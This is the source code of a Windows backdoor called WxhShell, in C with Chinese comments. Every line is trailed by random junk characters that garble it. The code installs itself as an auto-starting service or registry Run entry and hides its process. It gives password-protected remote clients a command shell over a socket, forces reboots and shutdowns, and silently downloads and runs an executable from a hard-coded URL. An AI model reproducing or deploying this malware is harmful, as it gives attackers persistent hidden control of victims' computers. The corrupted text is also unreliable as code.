    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U:\p$hL9  
    if(Boot(SHUTDOWN)) BtzYA"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*,5\s<  
    else { jccOsG9;_  
    closesocket(wsh); %7 /,m  
    ExitThread(0); ]=|P<F   
    } [8TS"ph>  
    break; :mP9^Do2;  
    } <n\i>A3`,S  
  // 获取shell qEZ!2R^`G  
  case 's': { a(f(R&-:$Y  
    CmdShell(wsh); 'mJ13  
    closesocket(wsh); R B%:h-t4  
    ExitThread(0); 4dD2{M  
    break; kf'=%]9#_T  
  } @+E7w6>%  
  // 退出 >9MS" t  
  case 'x': { I3PQdAs~&h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *x!LKIpv  
    CloseIt(wsh); ?^. Pt  
    break; UhdqY]  
    } :T5A84/C  
  // 离开 Fo(y7$33*  
  case 'q': { uRpBeH]Z"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i?x$w{co  
    closesocket(wsh); T6X}Ws"  
    WSACleanup(); Cx,-_  
    exit(1); <S&]$?`{Wi  
    break; 5e8xKL  
        } ki#bPgT  
  } )'t&q/Wn  
  } 5D L,U(Y  
8gAu7\p}  
  // 提示信息 ) P%4:P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XfDX:b1p  
} M9DgO4xl  
  } ?M~  k$  
Se Oy7  
  return; D7gHE  
} ,\x$q'  
tpZ->)1  
// shell模块句柄 Wj tft%  
int CmdShell(SOCKET sock) 4kh8W~i;/  
{ =+\$e1Mb*  
STARTUPINFO si; 7f* RM  
ZeroMemory(&si,sizeof(si)); r>O|L%xpv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \OY}GRKt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /?U!y?t&@  
PROCESS_INFORMATION ProcessInfo; b`zET^F  
char cmdline[]="cmd"; {mf.!Xev  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }^ ,q#'  
  return 0; x) 5LT}p  
} kV+ R5R  
MyFCJJ/  
// 自身启动模式 _ Mn6L=  
int StartFromService(void) }uiPvO+&p  
{ a ea0+,;  
typedef struct mr qaM2,(I  
{ V:>`*tlh  
  DWORD ExitStatus; d'OGVN  
  DWORD PebBaseAddress; USFg_sO  
  DWORD AffinityMask; 87}(AO)  
  DWORD BasePriority; (l_:XG)7~b  
  ULONG UniqueProcessId; N%u  
  ULONG InheritedFromUniqueProcessId; rs_h}+6"s  
}   PROCESS_BASIC_INFORMATION; Pk:zfC?4  
^vaL8+  
PROCNTQSIP NtQueryInformationProcess; $+jy/:]D  
g}Mi9Kp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !5~k:1=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O2lIlCL  
}lO }x  
  HANDLE             hProcess; 4 4`WYK l  
  PROCESS_BASIC_INFORMATION pbi; |]tZ hI"3<  
XWXr0>!,?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I=odMw7Hj  
  if(NULL == hInst ) return 0; $L\@da?  
AqqHD=Yp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yW`e |!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R{`gR"*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QTE:K?  
dm& /K 4c  
  if (!NtQueryInformationProcess) return 0; 3HKxYvc C  
*IqVY&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }^9paU  
  if(!hProcess) return 0; I&\4C.\>  
AK;^9b-}q:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AAo0M/U'  
7UDq/:}Fo  
  CloseHandle(hProcess); L#!$hq9{_  
Gk 6fO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }Aw47;5q;  
if(hProcess==NULL) return 0; &=NJ  
[S)G$JW  
HMODULE hMod; }<&d]N  
char procName[255]; x=vK EyS@  
unsigned long cbNeeded; f:XfAH3R{  
5zVQ;;9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .l=p[BI  
/tzlbI]z  
  CloseHandle(hProcess); = hhvmo  
,2_w=<hq  
if(strstr(procName,"services")) return 1; // 以服务启动 2qXo{C3  
k}s+ca!B  
  return 0; // 注册表启动 gsfhH0  
} Z/c_kf[  
-%i#j>  
// 主模块 "/!'9na{QL  
int StartWxhshell(LPSTR lpCmdLine) vnZ4(  
{ dE GX3 -  
  SOCKET wsl; 3fl7~Lw,  
BOOL val=TRUE; wonYm27f  
  int port=0; 0$QIfT)  
  struct sockaddr_in door; Uuz?8/w}#  
? oc+ 1e  
  if(wscfg.ws_autoins) Install(); dk8y>uLr_  
^}hZ'<PK  
port=atoi(lpCmdLine); ]) =H  
m3luhGn  
if(port<=0) port=wscfg.ws_port; AA2ui%  
y{92Lym  
  WSADATA data; RAwk7F3qn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gw J}]Tf  
| @ *3^'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K-6p'|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +dM.-wW  
  door.sin_family = AF_INET; 71*>L}H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PF6 7z]<o  
  door.sin_port = htons(port); >Zo-wYG  
B>@D,)/bT5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9 ?(x>P  
closesocket(wsl); T\fudmj&  
return 1; Az9J\V~"  
} 8F)=n \  
NA\x<  
  if(listen(wsl,2) == INVALID_SOCKET) { +[_gyLN<5b  
closesocket(wsl); ?uig04@3  
return 1; yi|:}K$  
} AoIc9E lEX  
  Wxhshell(wsl); u]0!|Jd0  
  WSACleanup(); {zu/tCq?  
,O2q+'&  
return 0; @ct#s:t  
2]3G1idB  
} c8q G\\t[  
F'XlJ M  
// 以NT服务方式启动  tI'e ctn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \QiqcD9Y  
{ _Qg{ ;  
DWORD   status = 0; aoK4Du{  
  DWORD   specificError = 0xfffffff; 5c)wZ  
aX]y`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lg b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1 0V+OIC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FbuKZp+  
  serviceStatus.dwWin32ExitCode     = 0; c[Yq5Bu{y  
  serviceStatus.dwServiceSpecificExitCode = 0; B6uf;Yc  
  serviceStatus.dwCheckPoint       = 0; 9!cW  
  serviceStatus.dwWaitHint       = 0; .jCk#@+  
e_^KI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =@%MV(  
  if (hServiceStatusHandle==0) return; =^by0E2  
cmae&Atotw  
status = GetLastError(); *%nX#mwz  
  if (status!=NO_ERROR) ON NW.xHp  
{ 'h k @>"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .C6gl]6y@  
    serviceStatus.dwCheckPoint       = 0; 9 #:ue@)  
    serviceStatus.dwWaitHint       = 0; v3Eo@,-  
    serviceStatus.dwWin32ExitCode     = status; ?nY/, q&  
    serviceStatus.dwServiceSpecificExitCode = specificError; . rRc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H&9wSG`  
    return; h%u? lW  
  } Sw[=S '(l  
^T=5zqRD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S~}$Ly@  
  serviceStatus.dwCheckPoint       = 0; 2AmR(vVa"  
  serviceStatus.dwWaitHint       = 0; (Y&R0jt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =w t-YM  
} JLt{f=`%F  
L-SdQTx_  
// 处理NT服务事件,比如:启动、停止 =\*S'Ded  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ayHn_  
{ *SWv*sD  
switch(fdwControl) WI%zr2T  
{ V.+DP  
case SERVICE_CONTROL_STOP: rC=f#YjR  
  serviceStatus.dwWin32ExitCode = 0; -B",&yTV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XPrY`,kN  
  serviceStatus.dwCheckPoint   = 0; XNy:0C  
  serviceStatus.dwWaitHint     = 0; *%;6P5n%  
  { +h9`I/R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MV7}  
  } O'Vh{JHf  
  return; 8}]l9"q(  
case SERVICE_CONTROL_PAUSE: 6CCZda@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +HYN$>  
  break; N <ja6Ac  
case SERVICE_CONTROL_CONTINUE: +W!'B r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Id; mn}+~  
  break; 65 NWX8f}  
case SERVICE_CONTROL_INTERROGATE: J*/$ywI  
  break; E\W;:p,{A  
}; >I{4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Mm+bWn=mB  
} l^)o'YS y  
1V#B]x:  
// 标准应用程序主函数 rAtai}Lx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6="M0%  
{ 5B_-nYJDt  
9(V=Ubj  
// 获取操作系统版本 +*WUH513  
OsIsNt=GetOsVer(); hn*}5!^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ':9%3Wq]j  
@w+WLeJ$40  
  // 从命令行安装 %jYQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8.6no  
9N`+ O  
  // 下载执行文件 yN%3w0v  
if(wscfg.ws_downexe) { Q3'(f9 x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ] `b<"  
  WinExec(wscfg.ws_filenam,SW_HIDE); [J(@$Qix  
} o%y+Y;|?J  
bL6L-S  
if(!OsIsNt) { R V_MWv  
// 如果时win9x,隐藏进程并且设置为注册表启动 d{vc wZQ  
HideProc(); ot&j HS'  
StartWxhshell(lpCmdLine); ;))[P_$zB  
} ? Yynd  
else U0lqGEZ  
  if(StartFromService()) .N'%hh  
  // 以服务方式启动 5M/%%Ox  
  StartServiceCtrlDispatcher(DispatchTable); g wZ+GA  
else ~GsH8yA_P  
  // 普通方式启动 11^ {W F  
  StartWxhshell(lpCmdLine); {m1t~ S   
'M]CZ}  
return 0; h+ `J=a|\  
} 5x93+DkO\  
eP-R""uPw  
r? 6Z1  
8+@1wks  
=========================================== R] V~IDs   
Xuz8"b5^Zx  
U)IsTk~}O  
7zz(#  
mH7CgI  
(@N~ j&  
" f z/?=  
dK-  ^  
#include <stdio.h> :~qtvs;{  
#include <string.h>  Y,<WX v  
#include <windows.h> f D]An<  
#include <winsock2.h> |1\dCE03}  
#include <winsvc.h> + 3~Gc<OO  
#include <urlmon.h> giA~+m~fN  
*;V2_fWJ@  
#pragma comment (lib, "Ws2_32.lib") K{`2jK#  
#pragma comment (lib, "urlmon.lib") S]#=ES'^/  
;'Z,[a  
#define MAX_USER   100 // 最大客户端连接数 Q9Xm b2LN  
#define BUF_SOCK   200 // sock buffer ]e#,\})Br  
#define KEY_BUFF   255 // 输入 buffer 6w:g77SH)%  
* 7zN  
#define REBOOT     0   // 重启 GSUOMy[M-  
#define SHUTDOWN   1   // 关机 XQ+-+CD  
9>} (]T  
#define DEF_PORT   5000 // 监听端口 !Ed<xG/  
*cb D&R\  
#define REG_LEN     16   // 注册表键长度 (<AM+|  
#define SVC_LEN     80   // NT服务名长度 ` i^`Q  
?()E5 4y  
// 从dll定义API ]ZU:%Qhu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KY(l<pm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }hObtAS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (pRy1DH~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rzn0-cG  
8gu7f;H/k  
// wxhshell配置信息 #7cf 8y  
struct WSCFG { M7cI$=G  
  int ws_port;         // 监听端口 '6Z/-V4k  
  char ws_passstr[REG_LEN]; // 口令 Xbsj:Ko]]U  
  int ws_autoins;       // 安装标记, 1=yes 0=no A<*tn?M]  
  char ws_regname[REG_LEN]; // 注册表键名 tZc.%TU  
  char ws_svcname[REG_LEN]; // 服务名 3ec==.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nsy9 h}+A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z? b(|f\!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ADwwiq#E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p1`'1`.3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gen3"\Og{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f@x( ,p  
E}CqVuU$  
}; J?HZ,7X:  
+-KRp1qq  
// default Wxhshell configuration NiJ?no  
struct WSCFG wscfg={DEF_PORT, gC,0+Y~  
    "xuhuanlingzhe", _,-M8=dL%*  
    1, 1dgN10  
    "Wxhshell", %lqG*dRx0  
    "Wxhshell", dM@k(9|  
            "WxhShell Service", yU&g|MV_  
    "Wrsky Windows CmdShell Service", szM=U$jKq  
    "Please Input Your Password: ", U mx  
  1, Z({`9+/>u  
  "http://www.wrsky.com/wxhshell.exe", m= beB\=  
  "Wxhshell.exe" 1PT_1[eAR  
    }; A?{aUQB~|  
t9-\x  
// 消息定义模块 Fy+7{=?^F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3!L<=X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -^nQ^Td=j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /v5g;x_T  
char *msg_ws_ext="\n\rExit."; JD\-X(O  
char *msg_ws_end="\n\rQuit."; ;H#R{uR_<  
char *msg_ws_boot="\n\rReboot..."; ]6c2[r?g{  
char *msg_ws_poff="\n\rShutdown..."; %onAlf<$:^  
char *msg_ws_down="\n\rSave to "; uhN(`E@  
l.W1$g  
char *msg_ws_err="\n\rErr!"; x.4)p6  
char *msg_ws_ok="\n\rOK!"; _tauhwu  
(L6]uNOG  
char ExeFile[MAX_PATH]; W2o8Fu   
int nUser = 0; f+W[]KK*PW  
HANDLE handles[MAX_USER]; PTV`=vtj  
int OsIsNt; [2fiHE  
x@bl]Z(ne/  
SERVICE_STATUS       serviceStatus; V~^6 TS(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _$jJpy  
@OL3&R  
// 函数声明 MsiC!j.-  
int Install(void); Zo638*32  
int Uninstall(void); p=5H^E m1  
int DownloadFile(char *sURL, SOCKET wsh); |(8Hk@\CT>  
int Boot(int flag); )bN3-_  
void HideProc(void); cd%g]T)#1  
int GetOsVer(void); 4>tYMyLt0  
int Wxhshell(SOCKET wsl); 5<GRi "7A@  
void TalkWithClient(void *cs); <?va) ou  
int CmdShell(SOCKET sock); L5N{ie_  
int StartFromService(void); e^fKatI1  
int StartWxhshell(LPSTR lpCmdLine); $A!h=]  
@^4M~F%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }T*xT>p^3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W;@ae,^  
R8W4 4I*R:  
// 数据结构和表定义 (( IBaEq  
SERVICE_TABLE_ENTRY DispatchTable[] = N)I T?  
{ PHL@1K{)  
{wscfg.ws_svcname, NTServiceMain}, CzsY=DBH=  
{NULL, NULL} >yHnz?bf@  
}; !?-5 hh1\  
r#Oz0=0u  
// 自我安装 M{kh=b)V  
int Install(void) *L8HC8IbH  
{ HkB<RsS$p_  
  char svExeFile[MAX_PATH]; C- Rie[  
  HKEY key; )PATz #  
  strcpy(svExeFile,ExeFile); ML"P"&~u6  
U\GZ  
// 如果是win9x系统,修改注册表设为自启动 V4i%|vV  
if(!OsIsNt) { N S}`(N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G(3la3\(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E&tmWOMj>  
  RegCloseKey(key); Gbm_xEPC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M[N.H9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z7pXpy \  
  RegCloseKey(key); Z!l!3(<G.f  
  return 0; 2}C>{*}yQ  
    } J0W).mD_H  
  } Ck a]F2,  
} c89vx 9  
else { L;t~rW!1  
|(ju!&  
// 如果是NT以上系统,安装为系统服务 "LaX_0t)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H 1X]tw.  
if (schSCManager!=0) 54DR.>O  
{ X',0MBQ0  
  SC_HANDLE schService = CreateService |VEAzY|[#  
  ( 2/q=l?  
  schSCManager, ]<z(Rmn`Q  
  wscfg.ws_svcname, u`2k6.-  
  wscfg.ws_svcdisp, s3!LR2qiF  
  SERVICE_ALL_ACCESS, ;<R_j%*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~"0X,APR5  
  SERVICE_AUTO_START, _%%"Y}  
  SERVICE_ERROR_NORMAL, z(68^-V=:  
  svExeFile, Ui;s.f  
  NULL, 5&Kn #  
  NULL, ho$%7mc  
  NULL, G QBN-Qv  
  NULL, jz:c)C&/  
  NULL ,T[ +omo  
  ); 8J U~Q  
  if (schService!=0) ?t P/VL  
  { ''07Km@x  
  CloseServiceHandle(schService); -{SiK  
  CloseServiceHandle(schSCManager); B;je|M!d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X_@@v|UF  
  strcat(svExeFile,wscfg.ws_svcname); zm"g,\.d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <&Xq`i/(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R*C+Yk)Tkt  
  RegCloseKey(key); F;@&uXYgc  
  return 0; l;kZS  
    } g}KZL-p4\m  
  } ^}\R]})w"  
  CloseServiceHandle(schSCManager); ]arskmB]  
} @ &yj7-]  
} ebK wCZwK*  
agD.J)v\  
return 1; MCG~{#`  
} Q kpmPQK  
HN@)/5BY  
// 自我卸载 a/#,Y<kJ  
int Uninstall(void) UH|.@7w  
{ BQg]$Tr?  
  HKEY key; gP%!  
@!O{>`  
if(!OsIsNt) { Z"T(8>c;g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | :[vpJFK  
  RegDeleteValue(key,wscfg.ws_regname); P?7b,a95O  
  RegCloseKey(key); >AFpO*q"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f`rz)C03  
  RegDeleteValue(key,wscfg.ws_regname); U# B  
  RegCloseKey(key); R/|{?:r?:x  
  return 0; AE _~DZ:%c  
  } dig76D_[e  
}  p ivS8C  
}  2oASz|  
else { @'4D9A  
r!iuwE@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h!GixN?  
if (schSCManager!=0) ~C x2Q4E  
{ Tyl"N{ _  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .CpO+z  
  if (schService!=0) l/NK.Jr  
  { XS/TYdXB8  
  if(DeleteService(schService)!=0) { s$6#3%h  
  CloseServiceHandle(schService); zy;w07-)  
  CloseServiceHandle(schSCManager); u;}B4Rx  
  return 0; S}O\<6&  
  } u)pBFs<dn  
  CloseServiceHandle(schService); V1;-5L75  
  } 2jC\yY |PN  
  CloseServiceHandle(schSCManager); WE]^w3n9  
} yG4MqR)J  
} JqZ5DjI:  
"Fiv ]^  
return 1; [L^#<@S  
} k({8C`&tK/  
,cEcMaJ  
// 从指定url下载文件 gK#w$s50  
int DownloadFile(char *sURL, SOCKET wsh) 8ipLq`)  
{ w[-Bsf  
  HRESULT hr; ;Vt u8f  
char seps[]= "/"; q(W@=-uDK  
char *token; +Z*%,m=N(  
char *file; I),8EEf\  
char myURL[MAX_PATH]; 4[q * 7m  
char myFILE[MAX_PATH]; JK`P mp>  
5yID%  
strcpy(myURL,sURL); {{,%p#/b  
  token=strtok(myURL,seps); )' #(1 ,1k  
  while(token!=NULL) A?zW!'  
  { CG;D(AWR;  
    file=token; A>puk2s  
  token=strtok(NULL,seps); ,V?,I9qf  
  } jU$PO\UTk  
a=dN.OB}F7  
GetCurrentDirectory(MAX_PATH,myFILE); y"ck;OQD  
strcat(myFILE, "\\"); M-gjS6c\3  
strcat(myFILE, file); 8>9+w/DL  
  send(wsh,myFILE,strlen(myFILE),0); u'p J 9>sC  
send(wsh,"...",3,0);  .@Cshj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b.;W|$.  
  if(hr==S_OK) 6wgOmyJx  
return 0; Y)`+u#` R  
else f14c} YY  
return 1; }^q#0`e(y  
$Vzfhj-if  
} |z%,W/Ef  
=Wa\yBj_;m  
// 系统电源模块 Zpmy)W]1  
int Boot(int flag) 7SCI_8`  
{ }0G Ab2  
  HANDLE hToken; _?ZT[t<  
  TOKEN_PRIVILEGES tkp; e+[J9;g  
7Go!W(8  
  if(OsIsNt) { =F4}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1F|+4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UsTPNQj  
    tkp.PrivilegeCount = 1; /rW{rf^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <4g^c&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 85mQHZ8aR  
if(flag==REBOOT) { j^.P=;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %`'VXR?`h=  
  return 0; RAC-;~$WB  
} ./d (@@  
else { ?x @khzk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !MC W t  
  return 0; ]O."M"B  
} kokkZd7!  
  } Ou^dI  
  else { U VT8TN-T  
if(flag==REBOOT) { ! bp"pa9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~CA+'e%~~  
  return 0; g i)/iz`  
} heWb(E&  
else { ,l6W|p?ZO^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KB5{l%>  
  return 0; |zMQe}R@%  
} 8~i@7~ J  
} VA0TY/{ ]  
!Xm:$KH  
return 1; 7}Sw(g)o7  
} Q$%@.@  
c.fj[U|j  
// win9x进程隐藏模块 "{k3~epYaN  
void HideProc(void) 9M<? *8)  
{ VsC]z, oV  
<Yc:,CU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gT.-Cf{  
  if ( hKernel != NULL ) o;.-I[9h]  
  { -AX3Rnv^!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nTAsy0p]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2Y+*vNs3  
    FreeLibrary(hKernel); 'Khq!pC   
  } 9\8""-  
61'7b`:(hi  
return; 9c6=[3)V  
} ,J|};s+  
AOe~VW  
// 获取操作系统版本 f As:[  
int GetOsVer(void) ^{w&&+#,q  
{ MPt7 /  
  OSVERSIONINFO winfo; p,Z6/e[SI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bY>Ug{O;  
  GetVersionEx(&winfo); S;])Nt'X'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !o@-kl  
  return 1; t]x HM  
  else EVf'1^f  
  return 0; ciTQH (G  
} sqw _c{9  
lwU&jo*@  
// 客户端句柄模块 7,1idY%cy  
int Wxhshell(SOCKET wsl) JI^w1I, T  
{ Z8 T{Xw6%  
  SOCKET wsh; 0pR04"`;  
  struct sockaddr_in client; 3 *G=U  
  DWORD myID; B;m18LDu  
a5'QL(IX  
  while(nUser<MAX_USER) #xc[)Y,W  
{ yhIg)/?L  
  int nSize=sizeof(client); v% 1#y5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^T5c^ M8o  
  if(wsh==INVALID_SOCKET) return 1; ym KdRF  
$H#&.IjY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h+Dok#g  
if(handles[nUser]==0) :* 'i\  
  closesocket(wsh); 3EyN"Lvp{o  
else P ,i)A  
  nUser++; oVu>jO:.  
  } 4=9F1[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DbcKKgPn(9  
qSQjAo4t@  
  return 0; .JiQq]  
} #_E8>;)k  
x!< C0N>?z  
// 关闭 socket 9xWrz;tzo  
void CloseIt(SOCKET wsh) , ?%`Ky/  
{ TX>;2S3q   
closesocket(wsh); B0Z@ Cf  
nUser--; #U1soZ7  
ExitThread(0); MwuH.# Ez  
} HV sIbQS  
+LUL-d  
// 客户端请求句柄 6?_Uow}  
void TalkWithClient(void *cs) 0`x<sjG\q  
{ ecHy. 7H  
?eu=0|d  
  SOCKET wsh=(SOCKET)cs; 3]!(^N>V  
  char pwd[SVC_LEN]; r[gV`khka  
  char cmd[KEY_BUFF]; u7/M>YJ`T  
char chr[1]; {[$p}#7Y  
int i,j; EgY]U1{  
J ^v_VZ3  
  while (nUser < MAX_USER) { ?832#a?FZ;  
dI>oHMC  
if(wscfg.ws_passstr) { k @ Hu0x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &8;mcM//4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sK\?i3<?  
  //ZeroMemory(pwd,KEY_BUFF); GL/\uq  
      i=0; y|@^0]}%<  
  while(i<SVC_LEN) { Ki'EO$  
@1>83-p"X  
  // 设置超时 w qsPGkJJ7  
  fd_set FdRead; S&VN</p  
  struct timeval TimeOut; ]\jhtC=2  
  FD_ZERO(&FdRead); J@Li*Ypo  
  FD_SET(wsh,&FdRead); lyib+Sa ?`  
  TimeOut.tv_sec=8; RH`m=?~J,  
  TimeOut.tv_usec=0; KAe) X_R7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9A6ly9DIS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 83 S],L  
iw#luHcJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I*#~@:4*  
  pwd=chr[0]; pG" 4qw  
  if(chr[0]==0xd || chr[0]==0xa) { Ad"::&&Wk  
  pwd=0; b*bR<|dTj  
  break; -du+iOe?  
  } J|ILG  
  i++; DF|qNX  
    } )ow3Bl8w  
[X-Q{c4  
  // 如果是非法用户,关闭 socket "aP/214Ul  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -Wmpj  
} P017y&X  
c`iSe$eS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J)R2O4OEd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LJBoS]~  
0S' EnmG  
while(1) { uU<Yf5  
{!-w|&bF  
  ZeroMemory(cmd,KEY_BUFF); 6 Fm.^9@  
Jus)cO#I  
      // 自动支持客户端 telnet标准   XL +kEZ|3  
  j=0; M5<5 (l  
  while(j<KEY_BUFF) { rp _G.C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X=DJOepH'  
  cmd[j]=chr[0]; *fjarZu  
  if(chr[0]==0xa || chr[0]==0xd) { xd>2TW l#  
  cmd[j]=0; 's e 9|:  
  break; J +9D/VT  
  } HHX9QebiST  
  j++; A\=:h  AQ  
    } 0AaN  
%~6+=*(\  
  // 下载文件 "r[Ea|  
  if(strstr(cmd,"http://")) { tmm\V7sJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 02SUyv(Mt  
  if(DownloadFile(cmd,wsh)) ]qXfg c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @]cpPW-b  
  else wngxVhu8Ld  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Q;#A |EZ  
  } K[ylyQ1  
